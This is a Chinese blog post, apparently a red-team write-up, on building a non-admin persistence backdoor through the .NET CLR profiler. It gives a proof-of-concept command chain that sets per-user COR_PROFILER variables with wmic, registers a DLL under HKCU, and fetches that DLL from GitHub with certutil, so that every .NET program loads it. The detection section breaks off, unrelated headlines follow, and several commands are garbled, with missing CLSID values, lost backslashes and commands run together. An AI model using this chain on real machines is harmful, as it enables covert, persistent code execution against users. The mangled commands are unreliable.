利用CLR實現一種無需管理員許可權的後門
0x00 前言
在之前的文章《Use AppDomainManager to maintain persistence》介紹了通過AppDomainManager實現的一種被動後門觸發機制,演示了如何劫持系統.Net程序powershell_ise.exe,但前提是需要獲得管理員許可權。
這一次將更進一步,介紹一種無需管理員許可權的後門,並能夠劫持所有.Net程序。
0x01 簡介
本文將要介紹以下內容:
· CLR的使用
· 後門開發思路
· POC編寫
· 後門檢測
0x02 CLR的使用
CLR:
全稱Common Language Runtime(公共語言運行庫),是一個可由多種編程語言使用的運行環境。
CLR是.NET Framework的主要執行引擎,作用之一是監視程序的運行:
· 在CLR監視之下運行的程序屬於「託管的」(managed)代碼
· 不在CLR之下、直接在裸機上運行的應用或者組件屬於「非託管的」(unmanaged)的代碼
CLR的使用:
測試系統: Win8 x86
1、啟動cmd
輸入如下代碼:
SET COR_ENABLE_PROFILING=1SET COR_PROFILER=
註:
可設置為任意數值,只要不和系統常用CLSID衝突就好
2、測試dll
使用彈框dll,下載地址:
https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
dll開發過程可參考:
https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
可在cmd下實現直接下載,代碼如下:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
操作如下圖
註:
delete是為了清除下載文件的緩存
更多關於使用certutil.exe下載文件的利用細節可參考文章:《滲透測試中的certutil.exe》
3、操作註冊表
默認路徑改為msg.dll的路徑
修改後的註冊表如下圖
對應cmd代碼如下:
SET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
4、在當前cmd啟動.net程序
例如powershell.exe,啟動時載入msg.dll,彈框
操作如下圖
注:
使用其他cmd執行powershell.exe不會載入msg.dll
原因:
SET COR_ENABLE_PROFILING=1SET COR_PROFILER=
當然,執行其他.net程序也會載入msg.dll
測試如下圖
0x03 後門開發思路
由以上測試得出結論,使用CLR能夠劫持所有.Net程序的啟動,但是只能作用於當前cmd
能否作用於全局呢?
自然想到了修改環境變數
通常,修改環境變數使用面板操作的方式,如下圖
能否通過命令行修改環境變數呢?
自然想到了WMI
修改系統變數(需要管理員許可權):
wmic ENVIRONMENT create name="1",username="",VariableValue="1"
修改當前用戶變數(當前用戶許可權):
wmic ENVIRONMENT create name="2",username="%username%",VariableValue="2"
註:
通過WMI修改環境變數需要系統重啟或註銷重新登錄才能生效
接下來需要測試,是否只需要修改當前用戶許可權就能夠實現作用於全局,答案是肯定的。
添加當前用戶的環境變數:
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""
重啟後,成功修改,如下圖
現在直接啟動.Net程序,彈框,成功載入msg.dll
如下圖
至此,後門思路驗證成功
0x04 POC編寫
對於32位操作系統,參考0x03的代碼就好,x86 POC如下:
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue=""certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dllcertutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll deleteSET KEY=HKEY_CURRENT_USERSoftwareClassesCLSIDInProcServer32REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%msg.dll" /FREG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
對應64位系統,需要注意重定向問題,註冊表存在32位和64位兩個位置
注:
點擊展開全文
※使用 Linux tracepoints,perf以及eBPF跟蹤網路數據包的流程
※高危預警!移動設備安全面臨的5大新型威脅
TAG:嘶吼RoarTalk |
※AMD承諾為安全處理器漏洞安裝固件,所有的bug都需要管理許可權來利用
※MySQL資料庫的用戶許可權管理
※我是如何利用3個APP實現時間管理的
※關於手機應用許可權管理,你可能需要了解一下
※單頁面應用的許可權管理
※設備管理器許可權遭惡意利用,衍生多種病毒攻擊用戶手機
※股權激勵有效實施應當做好三個管理
※美軍認為這種作戰、行政管理分立的指揮機制有利於發揮與管理效能,因此一直沿用至今
※技術即將徹底變革人才管理,HR是否已經做好準備?
※處理問題的能力,是管理者領導力的一種體現
※單個業主是否有權起訴物業公司無權收取停車管理費?
※華為高管「批判」任正非:很多管理思想只適用於運營商業務,不適用於其他業務
※使用TKI治療的CML患者心血管不良反應的管理
※巧用App許可權管理 讓你成為個人隱私的「守門人」
※蘋果將開放新功能,讓用戶可以更方便的管理個人隱私信息
※NBA的罰款最終用在何處?NBA管理層的做法讓所有人心服口服
※管理者必須具備這三個預收拾下屬能力,否則就是情商有問題
※關於利用Exchange攻擊域管理員許可權的一些建議
※領導力是管理者必備技能,但如何提升、如何讓下屬配合你才是關鍵
※老闆,您錯了!無效的績效管理不全是HR的錯